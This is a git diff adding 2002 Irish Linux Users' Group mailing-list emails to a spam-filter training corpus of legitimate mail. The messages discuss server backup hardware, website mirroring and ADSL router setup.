15:09:16 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id PAA14430 for ; + Fri, 16 Aug 2002 15:09:19 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id PAA31869; Fri, 16 Aug 2002 15:07:37 +0100 +Received: from nologic.org ([217.114.163.124]) by lugh.tuatha.org + (8.9.3/8.9.3) with SMTP id PAA31843 for ; Fri, + 16 Aug 2002 15:07:30 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [217.114.163.124] claimed + to be nologic.org +Received: (qmail 6137 invoked from network); 16 Aug 2002 14:09:19 -0000 +Received: from localhost (HELO nologic.org) (127.0.0.1) by 0 with SMTP; + 16 Aug 2002 14:09:19 -0000 +Received: from cacher3-ext.wise.edt.ericsson.se ([194.237.142.30]) + (proxying for 159.107.166.28) (SquirrelMail authenticated user + cj@nologic.org) by mail.nologic.org with HTTP; Fri, 16 Aug 2002 15:09:19 + +0100 (BST) +Message-Id: <6286.194.237.142.30.1029506959.squirrel@mail.nologic.org> +Date: Fri, 16 Aug 2002 15:09:19 +0100 (BST) +From: "Ciaran Johnston" +To: +X-Priority: 3 +Importance: Normal +X-Msmail-Priority: Normal +X-Mailer: SquirrelMail (version 1.2.5) +MIME-Version: 1.0 +Content-Type: text/plain; charset=iso-8859-15 +Content-Transfer-Encoding: 8bit +Subject: [ILUG] Backup solutions +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Hi folks, +I maintain a colocated server on behalf of a small group of individuals, +and am looking at backup solutions. Is it possible to get some sort of low- +end internal tape / other solution that could be used to back up approx. 40 +Gigs of data or am I just dreaming? My ISP does offer backups at extra cost +but the only problem with that is, well, the extra cost. + +What I was hoping to do was to install some kind of internal tape device, +then swap tapes round every month, so I had an onsite backup of say the +last 24 hours and an offsite backup of the last month. Is this feasible? +I'm beginning to think it isn't. External devices are not an option as part +of the charge for colocation is rackspace. + +Thanks, +Ciaran. + + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00429.a07d4061101c1879dc26873f7d52aed8 b/bayes/spamham/easy_ham_2/00429.a07d4061101c1879dc26873f7d52aed8 new file mode 100644 index 0000000..e5bee40 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00429.a07d4061101c1879dc26873f7d52aed8 @@ -0,0 +1,74 @@ +From ilug-admin@linux.ie Fri Aug 16 15:16:48 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 5457543C32 + for ; Fri, 16 Aug 2002 10:16:47 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 16 Aug 2002 15:16:47 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7GEDta21443 for + ; Fri, 16 Aug 2002 15:13:55 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id PAA32083; Fri, 16 Aug 2002 15:12:23 +0100 +Received: from kbs01.kbs.ie ([213.190.156.48]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id PAA32058 for ; Fri, + 16 Aug 2002 15:12:15 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [213.190.156.48] claimed + to be kbs01.kbs.ie +Received: by KBS01 with Internet Mail Service (5.5.2653.19) id ; + Fri, 16 Aug 2002 15:28:59 +0100 +Message-Id: <55DA5264CE16D41186F600D0B74D6B09247289@KBS01> +From: "Brian O'Donoghue" +To: "'ilug@linux.ie'" +Subject: RE: [ILUG] Backup solutions +Date: Fri, 16 Aug 2002 15:28:51 +0100 +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2653.19) +Content-Type: text/plain; charset="ISO-8859-15" +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + + + +> -----Original Message----- +> From: Ciaran Johnston [mailto:cj@nologic.org] +> Sent: 16 August 2002 15:09 +> To: ilug@linux.ie +> Subject: [ILUG] Backup solutions +> +> Hi folks, +> I maintain a colocated server on behalf of a small group of individuals, +> and am looking at backup solutions. Is it possible to get some sort of +> low- +> end internal tape / other solution that could be used to back up approx. +> 40 +> Gigs of data or am I just dreaming? My ISP does offer backups at extra +> cost +> but the only problem with that is, well, the extra cost. +> +> What I was hoping to do was to install some kind of internal tape device, +> then swap tapes round every month, so I had an onsite backup of say the +> last 24 hours and an offsite backup of the last month. Is this feasible? +> I'm beginning to think it isn't. External devices are not an option as +> part +> of the charge for colocation is rackspace. +> +> Thanks, +> Ciaran. + +I'd recommend a good external DLT drive. +You will probably need a SCSI card for that too. + +Mmmm. + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00430.f7464c6cafd30eeae286041d626a9613 b/bayes/spamham/easy_ham_2/00430.f7464c6cafd30eeae286041d626a9613 new file mode 100644 index 0000000..65f5af0 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00430.f7464c6cafd30eeae286041d626a9613 @@ -0,0 +1,71 @@ +From ilug-admin@linux.ie Fri Aug 16 15:16:52 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 2EB6B43C34 + for ; Fri, 16 Aug 2002 10:16:51 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 16 Aug 2002 15:16:51 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7GEECa21470 for + ; Fri, 16 Aug 2002 15:14:12 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id PAA32161; Fri, 16 Aug 2002 15:12:52 +0100 +Received: from mail.tradesignals.com ([217.75.2.27]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id PAA32116 for ; Fri, + 16 Aug 2002 15:12:44 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [217.75.2.27] claimed to + be mail.tradesignals.com +Received: from docaoimh.tradesignals.com (docaoimh.tradesignals.com + [192.168.1.26]) by mail.tradesignals.com (8.11.6/8.11.6) with ESMTP id + g7GECXm23432; Fri, 16 Aug 2002 15:12:33 +0100 +Received: from localhost (localhost [[UNIX: localhost]]) by + docaoimh.tradesignals.com (8.11.6/8.11.6) id g7GECXc00564; Fri, + 16 Aug 2002 15:12:33 +0100 +Content-Type: text/plain; charset="iso-8859-15" +From: Donncha O Caoimh +To: "Ciaran Johnston" , +Subject: Re: [ILUG] Backup solutions +Date: Fri, 16 Aug 2002 15:12:32 +0100 +X-Mailer: KMail [version 1.4] +References: <6286.194.237.142.30.1029506959.squirrel@mail.nologic.org> +In-Reply-To: <6286.194.237.142.30.1029506959.squirrel@mail.nologic.org> +MIME-Version: 1.0 +Message-Id: <200208161512.32940.donncha.ocaoimh@tradesignals.com> +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by lugh.tuatha.org id + PAA32116 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Use Amanda at http://www.amanda.org/ + +Donncha. + +On Friday 16 August 2002 15:09, Ciaran Johnston wrote: +> Hi folks, +> I maintain a colocated server on behalf of a small group of individuals, +> and am looking at backup solutions. Is it possible to get some sort of low- +> end internal tape / other solution that could be used to back up approx. 40 +> Gigs of data or am I just dreaming? My ISP does offer backups at extra cost +> but the only problem with that is, well, the extra cost. +> +> What I was hoping to do was to install some kind of internal tape device, +> then swap tapes round every month, so I had an onsite backup of say the +> last 24 hours and an offsite backup of the last month. Is this feasible? +> I'm beginning to think it isn't. External devices are not an option as part +> of the charge for colocation is rackspace. +> +> Thanks, +> Ciaran. + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00431.b51aaa5998124b125c5cda50d1bcc62c b/bayes/spamham/easy_ham_2/00431.b51aaa5998124b125c5cda50d1bcc62c new file mode 100644 index 0000000..661e61e --- /dev/null +++ b/bayes/spamham/easy_ham_2/00431.b51aaa5998124b125c5cda50d1bcc62c @@ -0,0 +1,100 @@ +From ilug-admin@linux.ie Fri Aug 16 15:17:01 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 6466943C36 + for ; Fri, 16 Aug 2002 10:16:55 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 16 Aug 2002 15:16:55 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7GEHta21801 for + ; Fri, 16 Aug 2002 15:18:00 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id PAA32576; Fri, 16 Aug 2002 15:16:35 +0100 +Received: from nologic.org ([217.114.163.124]) by lugh.tuatha.org + (8.9.3/8.9.3) with SMTP id PAA32554 for ; Fri, + 16 Aug 2002 15:16:29 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [217.114.163.124] claimed + to be nologic.org +Received: (qmail 6343 invoked from network); 16 Aug 2002 14:18:19 -0000 +Received: from localhost (HELO nologic.org) (127.0.0.1) by 0 with SMTP; + 16 Aug 2002 14:18:19 -0000 +Received: from cacher3-ext.wise.edt.ericsson.se ([194.237.142.30]) + (proxying for 159.107.166.28) (SquirrelMail authenticated user + cj@nologic.org) by mail.nologic.org with HTTP; Fri, 16 Aug 2002 15:18:19 + +0100 (BST) +Message-Id: <22262.194.237.142.30.1029507499.squirrel@mail.nologic.org> +Date: Fri, 16 Aug 2002 15:18:19 +0100 (BST) +Subject: RE: [ILUG] Backup solutions +From: "Ciaran Johnston" +To: +In-Reply-To: <55DA5264CE16D41186F600D0B74D6B09247289@KBS01> +References: <55DA5264CE16D41186F600D0B74D6B09247289@KBS01> +X-Priority: 3 +Importance: Normal +X-Msmail-Priority: Normal +Cc: +X-Mailer: SquirrelMail (version 1.2.5) +MIME-Version: 1.0 +Content-Type: text/plain; charset=iso-8859-15 +Content-Transfer-Encoding: 8bit +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Brian ODonoghue said: +> +> +>> -----Original Message----- +>> From: Ciaran Johnston [mailto:cj@nologic.org] +>> Sent: 16 August 2002 15:09 +>> To: ilug@linux.ie +>> Subject: [ILUG] Backup solutions +>> +>> Hi folks, +>> I maintain a colocated server on behalf of a small group of +>> individuals, and am looking at backup solutions. Is it possible to get +>> some sort of low- +>> end internal tape / other solution that could be used to back up +>> approx. 40 +>> Gigs of data or am I just dreaming? My ISP does offer backups at extra +>> cost +>> but the only problem with that is, well, the extra cost. +>> +>> What I was hoping to do was to install some kind of internal tape +>> device, then swap tapes round every month, so I had an onsite backup +>> of say the last 24 hours and an offsite backup of the last month. Is +>> this feasible? I'm beginning to think it isn't. External devices are +>> not an option as part +>> of the charge for colocation is rackspace. +>> +>> Thanks, +>> Ciaran. +> +> I'd recommend a good external DLT drive. +> You will probably need a SCSI card for that too. + +Yeah, so would I, but as I said, external ain't really an option. + +/Ciaran. + +> +> Mmmm. +> +> -- +> Irish Linux Users' Group: ilug@linux.ie +> http://www.linux.ie/mailman/listinfo/ilug for (un)subscription +> information. List maintainer: listmaster@linux.ie + + + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00432.6a1c32a56b122370713c8146238f75dd b/bayes/spamham/easy_ham_2/00432.6a1c32a56b122370713c8146238f75dd new file mode 100644 index 0000000..756865a --- /dev/null +++ b/bayes/spamham/easy_ham_2/00432.6a1c32a56b122370713c8146238f75dd @@ -0,0 +1,70 @@ +From ilug-admin@linux.ie Fri Aug 16 15:22:43 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 541C743C32 + for ; Fri, 16 Aug 2002 10:22:43 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 16 Aug 2002 15:22:43 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7GEKEa21901 for + ; Fri, 16 Aug 2002 15:20:14 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id PAA00303; Fri, 16 Aug 2002 15:18:42 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from mail04.svc.cra.dublin.eircom.net + (mail04.svc.cra.dublin.eircom.net [159.134.118.20]) by lugh.tuatha.org + (8.9.3/8.9.3) with SMTP id PAA32740 for ; Fri, + 16 Aug 2002 15:18:34 +0100 +Received: (qmail 46612 messnum 1156163 invoked from + network[213.190.140.167/unknown]); 16 Aug 2002 14:18:04 -0000 +Received: from unknown (HELO mail.capetechnologies.com) (213.190.140.167) + by mail04.svc.cra.dublin.eircom.net (qp 46612) with SMTP; 16 Aug 2002 + 14:18:04 -0000 +Received: from 127.0.0.1 (localhost [127.0.0.1]) by + dummy.capetechnologies.com (Postfix) with SMTP id 0FD294227 for + ; Fri, 16 Aug 2002 15:18:04 +0100 (IST) +Received: from moon (monterey.capetechnologies.com [192.120.240.131]) by + mail.capetechnologies.com (Postfix) with ESMTP id 896164226 for + ; Fri, 16 Aug 2002 15:18:03 +0100 (IST) +From: "Ciaran Treanor" +To: +Subject: RE: [ILUG] Mirror a website +Date: Fri, 16 Aug 2002 15:15:27 +0100 +Organization: CAPE Technologies +Message-Id: <004701c2452f$5ea18ba0$83f078c0@moon> +MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii" +Content-Transfer-Encoding: 7bit +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook, Build 10.0.2627 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Importance: Normal +In-Reply-To: +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Thanks for the tips. The closest I've gotten to getting it working is +Justins script except I can seem to prevent it from following links +offsite. + +Typical, something that should only take a minute... + +Thanks for you help. + +ct + + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00433.54e72424b2632d8b2eedf48b2a5c2fd3 b/bayes/spamham/easy_ham_2/00433.54e72424b2632d8b2eedf48b2a5c2fd3 new file mode 100644 index 0000000..5cd02d8 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00433.54e72424b2632d8b2eedf48b2a5c2fd3 @@ -0,0 +1,95 @@ +From ilug-admin@linux.ie Fri Aug 16 15:28:00 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 8914643C34 + for ; Fri, 16 Aug 2002 10:27:59 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 16 Aug 2002 15:27:59 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7GEPca22215 for + ; Fri, 16 Aug 2002 15:25:38 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id PAA00576; Fri, 16 Aug 2002 15:23:56 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from mail.it-tallaght.ie (mail.it-tallaght.ie [193.1.120.163]) + by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id PAA00537 for + ; Fri, 16 Aug 2002 15:23:49 +0100 +Received: by mail.it-tallaght.ie with Internet Mail Service (5.5.2656.59) + id ; Fri, 16 Aug 2002 15:21:48 +0100 +Message-Id: +From: "Smith, Graham - Computing Technician" +To: ilug@linux.ie +Subject: RE: [ILUG] Backup solutions +Date: Fri, 16 Aug 2002 15:21:42 +0100 +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2656.59) +Content-Type: text/plain; charset="iso-8859-15" +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +DDS-4 will hold 40 GB, media is about 42 (ex vat)euros per tape +HP do DDS-4 backup tape drives to take those but they're +about 1236 euros (ex vat) and thats for an internal model (taken from +DCB Groups catalogue). There are other brands and various +other tape formats to choose from, but just to give you a rough +benchmark of pricing for that sorta capacity. + +Ther are options that will go up to crazy capacities by using +using multiple tapes in a caddy... of course its gonna cost +a lot more. + +I'd also be ensuring I had some sort of disk mirroring set up +also... the more redundancy the better (within reason). + +G. + +___________________________ + Graham Smith, + Network Administrator, + Department of Computing, + Institute of Technology, + Tallaght, Dublin 24 + Phone: + 353 (01) 4042840 + +-----Original Message----- +From: Ciaran Johnston [mailto:cj@nologic.org] +Sent: 16 August 2002 15:09 +To: ilug@linux.ie +Subject: [ILUG] Backup solutions + + +Hi folks, +I maintain a colocated server on behalf of a small group of individuals, +and am looking at backup solutions. Is it possible to get some sort of low- +end internal tape / other solution that could be used to back up approx. 40 +Gigs of data or am I just dreaming? My ISP does offer backups at extra cost +but the only problem with that is, well, the extra cost. + +What I was hoping to do was to install some kind of internal tape device, +then swap tapes round every month, so I had an onsite backup of say the +last 24 hours and an offsite backup of the last month. Is this feasible? +I'm beginning to think it isn't. External devices are not an option as part +of the charge for colocation is rackspace. + +Thanks, +Ciaran. + + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00434.7a55a37b952e7fee5a292858697062c0 b/bayes/spamham/easy_ham_2/00434.7a55a37b952e7fee5a292858697062c0 new file mode 100644 index 0000000..4e1f1c4 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00434.7a55a37b952e7fee5a292858697062c0 @@ -0,0 +1,89 @@ +From ilug-admin@linux.ie Mon Aug 19 11:02:22 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id A7E514418F + for ; Mon, 19 Aug 2002 05:54:12 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:54:12 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7GJU6600809 for + ; Fri, 16 Aug 2002 20:30:06 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id UAA17119; Fri, 16 Aug 2002 20:29:07 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from holly.csn.ul.ie (holly.csn.ul.ie [136.201.105.4]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id UAA17070 for ; + Fri, 16 Aug 2002 20:28:55 +0100 +Received: from skynet.csn.ul.ie (skynet [136.201.105.2]) by + holly.csn.ul.ie (Postfix) with ESMTP id 072522B76C; Fri, 16 Aug 2002 + 20:28:25 +0100 (IST) +Received: by skynet.csn.ul.ie (Postfix, from userid 2214) id 42796E7C8; + Fri, 16 Aug 2002 20:28:24 +0100 (IST) +Received: from localhost (localhost [127.0.0.1]) by skynet.csn.ul.ie + (Postfix) with ESMTP id 398E87243; Fri, 16 Aug 2002 20:28:24 +0100 (IST) +Date: Fri, 16 Aug 2002 20:28:24 +0100 (IST) +From: "Cathal A. Ferris" +X-X-Sender: pio@skynet +To: Ciaran Johnston +Cc: ilug@linux.ie +Subject: Re: [ILUG] Backup solutions +In-Reply-To: <56517.194.237.142.30.1029509906.squirrel@mail.nologic.org> +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=ISO-8859-15 +Content-Transfer-Encoding: 8BIT +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + + +As far as I know, there are ide add-in cards that support hot-plugging of +drives, not too sure if this feature is availabe on the cheaper +promise/highpoint controllers, but it is definitely available on the +higher-end (true ide-raid) cards. + +Cathal. + +On Fri, 16 Aug 2002, Ciaran Johnston wrote: + +> Vincent Cunniffe said: +> > I run several co-located servers, and the solution I have adopted is +> > IDE drives. They're cheap, fast, and you don't have to keep buying +> > media for them. Combine it with a removable HD caddy from Peats or +> > Maplins, and you have a complete onsite/offsite backup solution with 4 +> > entire generations of data for about ¤250 (2 * 80GB/5400 drives and a +> > caddy for the server). +> > +> > You do need 60 seconds of downtime to replace the drive, but that's +> > pretty trivial if done once per month. +> +> Hmmm... this does sound interesting. I think it may be the way to go... I'd +> still be interested in hearing people's opinions on the tape drives I +> mentioned, though, esp. wrt. this solution. I know knocking a drive around +> doesn't do it any good. +> +> /Ciaran. +> +> +> +> +> +> + +-- +Cathal Ferris. pio@skynet.ie ++353 87 9852077 www.csn.ul.ie/~pio +--- + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00435.bd3256b7121a17fdde953a72854291fd b/bayes/spamham/easy_ham_2/00435.bd3256b7121a17fdde953a72854291fd new file mode 100644 index 0000000..231960b --- /dev/null +++ b/bayes/spamham/easy_ham_2/00435.bd3256b7121a17fdde953a72854291fd @@ -0,0 +1,146 @@ +From ilug-admin@linux.ie Mon Aug 19 11:02:23 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9BDC944190 + for ; Mon, 19 Aug 2002 05:54:13 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:54:13 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7GKF9601957 for + ; Fri, 16 Aug 2002 21:15:09 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id VAA18889; Fri, 16 Aug 2002 21:14:07 +0100 +Received: from orion.jtlnet.com ([209.115.42.142]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id VAA18844 for ; Fri, + 16 Aug 2002 21:13:59 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [209.115.42.142] claimed + to be orion.jtlnet.com +Received: from dialup-0542.dublin.iol.ie ([193.203.146.30] helo=nmtbmedia) + by orion.jtlnet.com with smtp (Exim 3.35 #1) id 17fnUi-0004yY-00 for + ilug@linux.ie; Fri, 16 Aug 2002 16:14:52 -0400 +From: "AJ McKee" +To: +Subject: RE: [ILUG] ADSL, routers and firewalls +Date: Fri, 16 Aug 2002 21:14:14 +0100 +Message-Id: +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) +Importance: Normal +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +In-Reply-To: <55DA5264CE16D41186F600D0B74D6B0924728F@KBS01> +X-Antiabuse: This header was added to track abuse, please include it with + any abuse report +X-Antiabuse: Primary Hostname - orion.jtlnet.com +X-Antiabuse: Original Domain - linux.ie +X-Antiabuse: Originator/Caller UID/GID - [0 0] / [0 0] +X-Antiabuse: Sender Address Domain - nmtbmedia.com +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +-----BEGIN PGP SIGNED MESSAGE----- +Hash: SHA1 + +Ok + +Well I am having fun with ADSL now at the moment. I had gotten the +full package from eircom and elected to take the Zytel Prestige 645M +(that M is very important) But alas I cannot get it to work even with +another Major and popular graphical OS. So after almost 8 hours onto +adsl support trying to conince them that they did actually supplu and +support the 645M and not just the 643 and 645R its still not working. +So, after all that I am going to try a poweredge to connect and if +all else fails I will wait till Eircom send me out a replacement ( I +am going to have to look for the Alcatel this time :-) But while I +was doing my googleing I came acroos this + +http://www.roaringpenguin.com/pppoe/how-to-connect.txt +http://www.roaringpenguin.com/pppoe/ + +And they look very cool for the beginner. Also the is a cool article +on www.linux.ie about USB and ADSL with PPPoE on Linux. ANyhow when I +do get it working (either with the 645 MMMMM or something else) I +will put up a howto but really the above is quite cool. + +Aj + + + +- ---------------------------------------- +AJ McKee +NMTB media + +Phone: (Europe) +353 1 473 53 72 + (North America) +1 206 339 4326 + +Fax: (Europe) +353 1 473 53 73 + (North America) +1 206 339 4326 + +Website: http://www.nmtbmedia.com +- ----------------------------------------- + + +>-----Original Message----- +>From: ilug-admin@linux.ie [mailto:ilug-admin@linux.ie]On Behalf Of +>Brian O'Donoghue +>Sent: 16 August 2002 17:42 +>To: 'ilug@linux.ie' +>Subject: RE: [ILUG] ADSL, routers and firewalls +> +> +>> To get the 3 computers talking to each other, you need a hub +>which you can +>> pick up for a small amount of money. The internal interface of +>the router +>> (which may be a linux box) is connected to the hub, and the +>> external interface is connected to the ADSL device. +> +> +>Like this +> +> +>[DSL Connection]--------[Alcatel modem]---[ehternet card1]-[Linux +>box] +>[ ] +> [Hub]-------------[Ethernet card2]-[ +>] +> | +> | +> | +> [Other machines on your lan] +>The other machines on your lan reference the Linux box as their +>'default gateway'... the Linux box runs nat, firewalling... dhcp(if +>you want) and so on. +> +>-- +>Irish Linux Users' Group: ilug@linux.ie +>http://www.linux.ie/mailman/listinfo/ilug for (un)subscription +>information. List maintainer: listmaster@linux.ie +> +> + +-----BEGIN PGP SIGNATURE----- +Version: PGPfreeware 6.5.8 for non-commercial use +Comment: PGP/GPG Keys located at http://www.nmtbmedia.com/keys/ + +iQA/AwUBPV1dFIHmA/TOOP95EQL/kgCg8Ge94omOuirLYokN1UauZzApHEQAn0In +6r/o13G+0YEgjlc/XDwQOUN1 +=yGuw +-----END PGP SIGNATURE----- + + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00436.b22a873d16a66f8ec1599a61071cdfa3 b/bayes/spamham/easy_ham_2/00436.b22a873d16a66f8ec1599a61071cdfa3 new file mode 100644 index 0000000..9e97705 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00436.b22a873d16a66f8ec1599a61071cdfa3 @@ -0,0 +1,73 @@ +From ilug-admin@linux.ie Mon Aug 19 11:02:28 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C668644191 + for ; Mon, 19 Aug 2002 05:54:14 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:54:14 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id 